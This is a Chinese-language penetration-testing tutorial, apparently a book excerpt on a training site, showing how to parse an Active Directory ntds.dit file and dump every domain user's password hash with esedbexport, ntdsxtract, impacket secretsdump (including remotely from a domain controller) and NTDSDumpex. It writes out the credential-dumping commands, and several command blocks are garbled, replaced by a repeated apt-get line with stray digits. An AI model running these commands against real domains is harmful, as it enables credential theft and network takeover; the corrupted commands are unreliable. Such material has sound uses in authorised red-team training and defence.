使用esedbexport恢复ntds.dit
在Kali中打开命令行输入命令下载libesedb。
wget
https://github.com/libyal/libesedb/releases/download/20170121/libesedb-experimental-20170121.tar.gz
首先安装工具依赖环境,如图6-24所示,输入如下命令。
sudo apt-get install autoconf automake autopoint libtool pkg-config
图6-24安装工具依赖环境
将下载好的libesedb进行编译安装,依次输入命令:
./configure
make
sudo make install
sudo ldconfig
安装成功后会在系统/usr/local/bin中出现esedbexport程序,如图6-25所示。
图6-25查看esedbexport是否安装成功
在Kali中打开命令行进入存放ntds.dit目录中,使用esedbexport 恢复,输入如下命令来提取表信息,如图6-26所示,恢复时间视ntds.dit大小决定,导出成功会在同目录生成一个文件夹。这里的存储信息,我们只需要datatable和link_table。
esedbexport -m tables ntds.dit
图6-26使用esedbexport 打开ntds.dit
可以看到成功导出,如图6-27所示。
图6-27查看被打开后的ntds.dit内容
再下载使用ntdsxtract进行提取域信息,导出Hash。
下载,在Kali输入命令:
clone https://github.com/csababarta/ntdsxtract.git git
安装,在Kali输入命令:
python setup.py build && python setup.py install
然后将导出ntds.dit.export文件夹和SYSTEM文件一并放入ntdsxtract文件夹中,输入如下命令。
$ dsusers.py ntds.dit.export/datatable.3 ntds.dit.export/link_table.5 output --syshive SYSTEM --passwordhashes --pwdformat ocl --ntoutfile ntout --lmoutfile lmout |tee all_user.txt
成功将域内所有用户信息及Hash导出到all_user.txt中,如图6-28所示。
图6-28导出与内所有用户和Hash信息
Tips:ntds.dit中包含域内所有信息,不仅仅包括用户和Hash,也可以通过分析ntds.dit导出域内计算机信息或其他信息,如:
dscomputers.py ntds.dit.export/datatable.3 computer_output --csvoutfile all_computers.csv
该命令可以执行导出域内所有计算机信息,导出为csv格式,方便查看,如图6-29所示。
图6-29导出域内所有计算机信息
使用impacket工具包导出Hash
使用impacket工具包中的secretsdump 解析ntds.dit文件,导出Hash。
首先下载impacket工具包,在Kali下,输入如下命令下载该工具。
git clone https://github.com/CoreSecurity/impacket.git
下载成功后,将impacket工具包安装在Kali上,impacket是基于使用Python编写的,Kail默认安装了Python,直接输入命令,如图6-30所示。
python setup.py install
图6-30安装impacket
sudo apt-get install autoconf automake autopoint libtool pkg-config
0
图6-31使用impacket-secretsdump导出用户和Hash
Tips:impacket还可以直接使用用户名和Hash进行验证,从远程域控制器读取ntds.dit转储域Hash,如图6-32所示:
sudo apt-get install autoconf automake autopoint libtool pkg-config
1
图6-32使用impacket-secretsdump向DC获取信息
Windows下解析ntds.dit导出域账号及域Hash
sudo apt-get install autoconf automake autopoint libtool pkg-config
2
首先将ntds.dit、SYSTEM和NTDSDumpex.exe放在同一目录中,打开cmd输入如下命令,域账号及域Hash被成功导出,如图6-33所示。
sudo apt-get install autoconf automake autopoint libtool pkg-config
3
图6-33使用NTDSDumpex.exe打开ntds.dit
— 实验室旗下直播培训课程 —
和20000+位同学加入MS08067一起学习
推荐站内搜索:最好用的开发软件、免费开源系统、渗透测试工具云盘下载、最新渗透测试资料、最新黑客工具下载……
还没有评论,来说两句吧...